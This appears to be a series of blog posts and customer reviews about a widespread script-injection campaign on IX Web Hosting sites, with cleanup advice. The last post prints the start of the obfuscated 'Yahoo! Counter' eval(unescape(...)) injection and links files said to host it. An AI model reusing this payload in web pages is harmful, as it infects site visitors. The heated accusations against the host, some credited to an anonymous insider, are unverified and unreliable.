IX Web Hosting, Script Injection and banned by Google 2
So many people being banned by Google, and cannot find the source of the Injection..
I have previously posted on this blog WHY you cannot find the code.. Because the code is NOT on your page. The code is, and can be anywhere on the server ( I have posted 3 links to the code that was hidden as a .jpg) The code added to your site is actually an Iframe, so what you should be looking for is a small snippet of code that calls the script. ( check your Config, Header, Footer, Index.php etc.. ALL pages that get called on every page
Yesterday someone contacted me with this issue, and that person was also banned by Google, and had spent weeks trying to solve this problem.. They finally found the code in the CONFIG File . ( thanks to this blog)
The site is now clean, but it will only be a matter of days before it is injected AGAIN!!
Here is the post I posted in December last year:
Hundreds of IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…
The Reason they cannot find it??
Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..
So far I have found 5 “seeds” .. These are the codes that are appearing in over 100,000 sites
( These have now been removed by ix web hosting but as you can see, the actual file is well hidden and disguised as an image. REMEMBER, this is where the files were stored that YOU can see on YOUR pages )
- http://on3photo.com/onlinestore/photos/106-firefighter_foto/1147-gustav_deployment/di_img_0002.jpg
- http://adventuresinstorytelling.com/modlogan/m_usage_200603_001_008.html
Remember to view the “source code” in the above links.
Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .
Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites.
So as you can see, this script IS NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code ”Calling” this script, and that appears in your pages.
Check ALL the pages that get called for every page, ie. header, footer, index, config, sidebar etc.So far I have evidence and proven that the following IX servers running the following Database’s are seeded:
- mysql33.ixwebhosting.com
- mysql15.ixwebhosting.com
- mysql27.ixwebhosting.com
If you know of any others that are seeded, please let me know.
Hope this helps
:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::=================================================================
This issue has now been going on for more than 10 months…. 1 year this May.. Will IX Web Hosting be celebrating this milestone?
Tip from a reader “How to clean the Yahoo Counter Injection Script”
Hey buddy,
nice website, i wish i had seen it before I renewed my contract with the crooks at IX for 2 more years…
well, i am writing because i couldn`t find on your website a solution to clean the infections automatically. so maybe you want to post a solution:here is what I did:
1 – download the entire site
2 – Open an infected file with Adobe Dreamweaver
3 – Look for the infected code, select all of it and copy it to the clipboard (starts with “<?php if(!function_exists(‘tmp_lkojfghx’))…”). You must copy ALL the code!
4 – Still on dreamweaver, click on EDIT>FIND AND REPLACE
5 – on the FIND box you paste the infected code
6 – On the FIND IN dropdown select FOLDER and point it to the folder where your website was downloaded.
7 – click on REPLACE ALL (dreamweaver will replace the code with whatever is on the REPLACE box, as we didn’t write anything there, it will clean the code)I found out that all the infected files on my sites had exactly the same code, so it was quite fast to remove them.
Ivan
Thanks Ivan for your feedback, I hope this helps others, also sorry to hear your sites are still constantly being injected. It’s clear that IX Web Hosting still has not got a clue how to solve this issue, and on top of this they are having 3 other mayor issues to deal with.
Daily Top 10 Searches to this blog
As of today I am going to post the TOP 10 Search Engine Terms people use to find this site.
As you will see, there are a lot of issues going on.
Search Engine Terms
These are terms people used to find this blog.
Todays Search
- ix hacked
- ixwebhosting virus
- ixwebhosting hacked
- ixwebhosting
- ix webhosting hacked 2008
- http://ixwebhostwarning.wordpress.com/
- ix web hosting has been hacked
- http://ixwebhostwarning.wordpress.com
- ix webhosting htaccess
- ixwebhosting .htaccess hack
Yesterdays Search
- ixwebhosting hacked
- ixwebhosting malware
- ixwebhosting malicious
- fix ixwebhosting .htaccess
- modlogan hacked
- htaccess exploit passwords ixwebhosting
- ixwebhosting exploited
- how to remove yahoo counter injection fr
- access htaccess ixwebhosting
- ixwebhosting hack
IX Web Hosting Reviews Jan. 2009
George , 30th 2009f January, 2009
If you are planning to run a serious website, DO NOT use Ix web hosting, they are more trouble than they are worth. Virus, Slow, Database problems, and Email issues.
Paolo, 23rd 2009f January, 2009
After reading the reviews about the servers / database’s slowing down at a certain time, I checked my log files, and it’s true, like clock work at 2 am every night they come to standsill intill 7.30 am then they pick up again. I posted a support ticket, after almost 24 hours I finally got a response telling me the ticket has been forwarded to support!!!!!… What is the point of that??.
I am looking into moving my sites to HostGator.
Gary, 22nd 2009f January, 2009
I am so sick and tired of ix web hosting!
I have had nothing but problems with them. Their support is useless, rude and they lie.
For the truth visit
http://ixwebhostwarning.wordpress.com/
Marky, 22nd 2009f January, 2009
Hacked, Injected, De-Faced, Slow, Useless Support and lots more.
IX is 100% USELESS!!
jack, 21st 2009f January, 2009
The server of ixwebhosting is down now. It has been on and off and stalling for the past month.. they keeps saying it was fixed but it isn’t. It’s very upsetting. We have had to complain and make complaints every day three times…. anyone know of a better hosting for Windows?
Melanov, 21st 2009f January, 2009
haha, i know how ixwebhosting is being attacked, I know who is behind the injecting. Over a year ago we contacted ix explaining they had problems, we had a very rude reply telling us it was lies, and the servers were secure. We added a folder with a fake website to at least 200 websites. Now ix wanted to listen, and even offered to pay per security issue.. but now it is too late.
ixwebhosting should listen when help is offered.
Gerald W, 21st 2009f January, 2009
I am in the process of moving my 12 sites from ix, I never had a problem with them for over 3 years, but as of November it has been one injection after the other. IX is not willing to help customers, instead they just want their money, and point the finger at customer once EVERY site on the servers are injected.
Don’t waste your time or money on these people.
Michael, 18th 2009f January, 2009
I completely agree with Blake, every night at midnight ALL my sites on two buisness accounts come to a screeching halt, everynight I call ix, and they appologize, and tell me they will find the cause and firewall the site, or even suspend the site(s) causing the slowdown, but this has been going on for weeks.
Also, I use “Mailwasher” that connects to my mailserver every 10 minutes, and every morning when I check mailwasher, I get an error log telling me that it could not connect to the server, with at least 20 times that it could not connect to the server.
It’s time to drop ix web hosting
AVOID
Blake, 17th 2009f January, 2009
I am totally and completely disgusted with IX Webhosting. It used to be a great host and I recommended it to everyone I could. But something has changed. I believe they got sold. Since then, we have had nothing but endless trouble with this host…
Last year, they proudly moved to a new Data Center. Of course this caused us problems for several months. They kept apologizing, but the problems persisted. After a very long period, things calmed down and remained that way until November…
Without prior warning, IX moved our site to a new server in November. After 60+ hours of calling, using Live Chat, and using the ticket support system, they finally worked out most problems. I felt like I had to beg to get IX to help resolve the problems that they created. I lost an entire weekend fighting them. The IX response times average between 12-24 hours…
Then again this January, IX updated all of our cgi-bin files in our domain and all of our sub-domains recreating the problems that were caused in November’s unnecessary server move. Again, it took over 60+ hours to get our site up and running. I had to find workarounds to get our site up and running, and amazingly, IX tried to take credit for getting our site up and running again even though they had nothing to do with it…
Even though our site is up and running now, we still have many problems. After 176 hours of fighting IX for help, they have yet to correct the Cron job errors that still plague our site…
The last two days, the server has crashed in the evening requiring another call to IX to get the server restarted/reset and our site back online. This was the same pattern that plagued us after the Data Center move last year. And early every morning, the page load response times drag down to a crawl. This seems to start between midnight and 4 AM every single night. The other day, the slowness continued well into the following day. We get an apology from IX each time this happens, but they don’t seem to be doing anything to permanently correct it…
IX has tried very hard to blame these problems on our code, which worked fine before the server move in November and again up until January. IX does not want to take responsibility for their actions and it is frustrating and disgusting dealing with them. I cannot in good conscience recommend IX Webhosting to anyone until they improve the skills of their own Technical Support staff. It wouldn’t hurt if they hired a few more knowledgeable people to improve their response times too. Waiting 12-24 hours for each new response to a ticket is totally unacceptable. With IX’s lack of effort, a resolution to a problem can drag on for days and weeks. IX does the bare minimum to assist its clients and they do it as slow as they possibly can…
Dealing with IX technical support gets real old real fast. I wouldn’t wish this on anyone…
Hans, 17th 2009f January, 2009
Do not believe their “Money Back Guarantee” After 3 weeks I requested a refund, and I only got about 30% of the full sum, they even charged me $20 for a .com, $20!!!, I can get these for $4.95.
Stay Away from these idiots
ett, 11th 2009f January, 2009
If IX is no 3 in the Top 10 companies list, what is the service level provided by those below on the list? Must be pretty terrible, eh?!
I have experience from IX as well as other hosts. Of the ones I’ve used, IX is the worst, one.com (in Denmark!!) has given me the best value for money.
Mike, 10th 2009f January, 2009
Bloody USELESS!
Muluut, 10th 2009f January, 2009
I am now just 3 months hosting with ix hosting and every day I having big problems. these people do not help and all my sites are hacked. I ask for backup and they tell me backups are no good, backups are hacked same as websites
ix hosting is no good for hosting.
Laurie, 10th 2009f January, 2009
With them for about 2-4 years. Was OK, nice customer service but innefficient now that I am ahving BIG problems – and now has been a nightmare since January 1st 2009. Now all my six websites are not even loading. Not even an error message! “server taking too long to respond” My site was hacked apparently (never happened in 10 years) and since then problems everyday. Even google has put a warning to visitors about malware from my site. My Google results have dropped completly Now have been pfflne for 24 hours. Disaster. Will change. I was told they are having problems with one of their servers. I don’t care. I’m changing. Will pay more for more.
Jonathan, 09th 2009f January, 2009
I too have been with IX for just under 4 years, and I too have pure html sites, I have 7 websites, I have always been very happy with IX, and up until September 2008 I had never had any issues. But since September my sites have been hacked, changed and re-directed on a weekly basis. IX keeps telling me about folder permissions and Ftp viruses, but I do not run any scripts, and do not have any folders, so I know that cannot be the cause. I will be moving all my sites to another host.
Archer Rejn, 09th 2009f January, 2009
I have been with IX for already 4 years and have never had any problems. May be cause I do not use any free php applications like wp or Joomla ? All my sites are html files with some Java scripts. I have never been hacked and all my sites load pretty fast.
Magix, 09th 2009f January, 2009
Don’t waste your time or money on these people. 100% USELESS!
kjett, 09th 2009f January, 2009
There is at least one positive aspect of using IX, viz. you learn a lot about the perils of using a web host without sufficient technical knowledge and/or security routines.
You learn that you yourself have to take responsibility for implementation of all the precautions needed, such as recurrently (frequently) making sure your hosted domains haven’t been hacked, having all directories properly chmod-ed and .htaccess-ed, and keeping updated backups on a local server.
These security routines will prove to be useful when you move to a hopefully more competent and secure web host.
beyaz, 06th 2009f January, 2009
have the same problem!!!! they are just after money instead of clearing their s**t!
George W Bush, 05th 2009f January, 2009
Don’t waste your time with these people, they are just a bunch of incompetent retards.
Sammy J, 05th 2009f January, 2009
4 days ago my 6 sites were injected with code, I spent 2 full days cleaning my sites, ix wanted to charge me $80 and hour to clean them, today all 6 sites are injected yet again.. I’m moving to another host, People, beware of IX they do not give a damn about your sites, all they want is your money.
Anita, 03rd 2009f January, 2009
Add me to the list of customers that have been affected by ix’s .htaccess vunerability, and yes they are blaming me, the best part is, they are willing to fix this for me for $80 !!
Roger no Kids, 02nd 2009f January, 2009
@ Roger Kids..
You TWAT!!..
People don’t like IX because they HAVE tried them!!.. If you haven’t tried them, how is a person suposed to know if they like them or not?..
All a person can expect, is what they are promised and what they pay for.. NO MATTER what the price is.
IX are RIP OFF’S they promise, take your money and accuse you for their incompetance.
Roger Kids, 01st 2009f January, 2009
Cmon` guys. If you don`t like IX why you choose it? Try to spin around for hosting which is better and cheaper. Let`s see what u`ll get
IX Web Hosting’s PHP Upgrade Notification
Dear Nicole **********,
We are happy to inform you that over the next two weeks we will upgrade PHP to the latest 4.x version (4.4.9) on the web server your website is currently being hosted on. This upgrade will resolve many security exploits and make services more stable.
As part of this upgrade, we will migrate from an Apache Module to a CGI based installation that gives you more control over many PHP settings. Once implemented, you will have the ability to upload your very own php.ini file into your cgi-bin folder as needed.
After the upgrade, your website may experience a few errors, all of which can be quickly resolved. Most are caused by having PHP directives inside an .htaccess file.
To fix this problem, simply login to your control panel and click on the WebShell icon. The .htaccess file will not be viewable unless you have “show hidden files” checked in your WebShell settings. Open the .htaccess file and remove any lines that start with “php_”. If you need to retain these settings, then they must now go into a php.ini file and placed into your cgi-bin folder.
If you are running PHP in any of your HTM/HTML files, please add this line to your .htaccess file:
AddHandler php-script .php .php3 .php4 .htm .html .phtml
If you have any questions or concerns about this upgrade, please do not hesitate to contact us 24/7 via live chat, ticket, or phone support and we will be glad to assist.
I hope you will enjoy the new features and increased security!
Best Regards,
Fatima Said, CCO
IX Web Hosting
IX Web Hostings Servers using both Php4 and Php5 INFECTED
As I wrote yesterday, MORE THAN ONE THIRD OF ALL IX Web Hosting’s hosted sites are INFECTED.
And to make things worse, the problem is spreading.
Up until Jan. 3rd 2009 it was only the older servers still running Php4 that were being affected, but now even the NEW server blocks, running Php5 are being injected.
IX Customers with sites on the server block with mysql address mysql501.ixwebhosting.com that runs php5. are being injected.
This is bad enough, and the fact that after 9 MONTHS!!! IX Web Hosting has still NOT GOT A CLUE how this is being done is a complete DISGRACE!!
And to add salt to the wounds, IX is not just being attacked with one form of iFrame injection, NO, IX is being attacked THREE different ways.
1) The notorious ” YAHOO COUNTER” is being injected into the FOOTER of every file.
2) The .htacces File that is overwriting and / or adding an . htaccess file into the root of every site and re-directing sites
3) As of Jan. 3rd 2009, a SECOND but modified version of the ” YAHOO COUNTER ” iFrame injection is now being injected into BOTH the Header, AND / OR Body of every file.
Today an IX Web Hosting customer sent me a link to their site, that was injected with THREE Yahoo Counters, Header, Body and Footer.
The owner of the site told me that the site would take ages to load, and would often even timeout, and Google had dropped the site completely from the Search Engine, penalized because of the “Malware Script”
Here is a quote from IX Support’s Alex Karamushko :
We have currently problem with Yahoo counter hack, but our system administrators and security analysts working hard for finding exact reason of that problem and we can assure you that this will be fixed shortly.
After 9 months, I ask myself what ” shortly” actually means?!.. Another week?, month?, or maybe 3 months?.. because I was told by “AGENT IX” that at the rate things are going now, by May 2009 EVERY website hosted at IX will be infected by these injections.
More than ONE THIRD of ALL IX Web Hosting sites INFECTED
A lot of the information I post here, I get from a person that works for IX Web Hosting and / or Ecommerce, as you all understand I cannot give any details that could compromise his / her position. I will call this person “AGENT IX”
Today I recieved an Email from “AGENT IX” that states that more than 100,000 IX Web Hosting Sites are infected.
The Details are, that IX Web Hosting is hosting 285,223 websites ( source http://whois.domaintools.com/ixwebhosting.com
More than 100,000 sites are infected, which means that more than 1/3 of all IX Web Hosting sites are infected!!
and IX has still not got a clue how to stop these attacks.
Also the injected script(s) are changing ( see previous posts) which most likely means that this vulnerability is now being exploited by various people / groups, and this also means that this problem is going to get a lot worse before it gets better, this problem has now been effecting sites since last year May ( 2008 ) almost 9 MONTHS LATER the problem is worse than it has ever been, and there is no bright light at the end of the tunnel yet.
IX Web Hosting and the Yahoo Counter Script Injection
I started this blog just 2 weeks ago, and today I recieved my 1000 th Email asking me about the code that is injected into the footer of every file hosted on seeded IX Web Hosting Servers.
Hundreds of IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…
The Reason they cannot find it??
Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..
So far I have found 5 “seeds” .. These are the codes that are appearing in over 100,000 sites
- http://on3photo.com/onlinestore/photos/106-firefighter_foto/1147-gustav_deployment/di_img_0002.jpg
- http://adventuresinstorytelling.com/modlogan/m_usage_200603_001_008.html
Remember to view the “source code” in the above links.
Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .
Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites.
So as you can see, this script IS NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code ”Calling” this script, and that appears in your pages.
Check ALL the pages that get called for every page, ie. header, footer, index, sidebar etc.
So far I have evidence and proven that the following IX servers running the following Database’s are seeded:
- mysql33.ixwebhosting.com
- mysql15.ixwebhosting.com
- mysql27.ixwebhosting.com
If you know of any others that are seeded, please let me know.
Hope this helps
:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::
IX Web Hosting Injected TODAY
Dec. 19. 2008
I can confirm that IX web hosting’s server running database ”mysql27.ixwebhosting.com” the site injected were on “ns5.ixwebhosting.com” , “ns6.ixwebhosting.com” has yet again been injected, this within a week after IX web hosting sent an email where it stated that all their servers were clean .. and I quote from the email sent by Fatima Said, CCO IX Web Hosting
“” We have dedicated our systems administration team to finding a solution to this and are happy to say that as one of the first hosting companies we have successfully cleaned all instances of this virus from our servers more than a week ago, and are continually scanning them to ensure your site does not become re-infected. “”
This just goes to show that IX web hosting has not got a clue where to start looking and what to clean.
The injected code appears on every file:
<script language=javascript><!– Yahoo! Counter starts
if(typeof(yahoo_counter)!=typeof(1))eval(unescape(‘%2F@/%3C~%64%69&v%20`s!t~%79l#e=%64%69%73p%6C%61~y~%3A%6Eo%6E%65%3E!\nd%6F$%63%75%6D%65%6E#%74%2E!w`r$%69$%74%65%28%22%3C%2F%74!%65~%78t%61!%72@%65&a&%3E@%22|)~%3B|v`a%72%20#%69,%5F`,a%3D
